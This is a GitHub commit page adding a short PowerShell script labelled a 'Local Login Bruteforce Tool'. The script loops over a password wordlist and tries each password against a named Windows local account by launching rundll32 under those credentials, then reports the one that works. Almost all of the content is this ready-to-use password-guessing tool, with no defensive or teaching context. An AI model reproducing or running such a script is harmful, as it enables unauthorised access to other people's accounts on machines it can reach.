-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit bd4606d
Showing
1 changed file
with
33 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
param ( | ||
[Parameter(Mandatory=$true)][string]$wordlistfile, | ||
[Parameter(Mandatory=$true)][string]$username, | ||
[Parameter(Mandatory=$false)][bool]$verb | ||
) | ||
Write-Host -Fore cyan @" | ||
[_][_][_][_][_][_][_][_][_] | ||
[_] Local [_] | ||
[_] Login [_] | ||
[_] Bruteforce [_] | ||
[_] Tool [_] | ||
[_][_][_][_][_][_][_][_][_] | ||
|| || | ||
||=======================|| | ||
"@ | ||
Write-Host -Fore yellow "Username : $username" | ||
Write-Host -Fore yellow "Wordlist : $wordlistfile" | ||
Write-Host -Fore yellow "Verbose : $verbose" | ||
foreach ($password in [System.IO.File]::ReadLines($wordlistfile)) { | ||
|
||
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force | ||
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword | ||
try { | ||
Start-Process rundll32 -WorkingDirectory "C:\Windows\System32" -Credential $credential | ||
Write-Host -Fore green "`n$username : $password" | ||
exit | ||
} | ||
catch { | ||
if($verb) { | ||
Write-Host -Fore red "`r$username : $password" -NoNewLine | ||
} | ||
} | ||
} |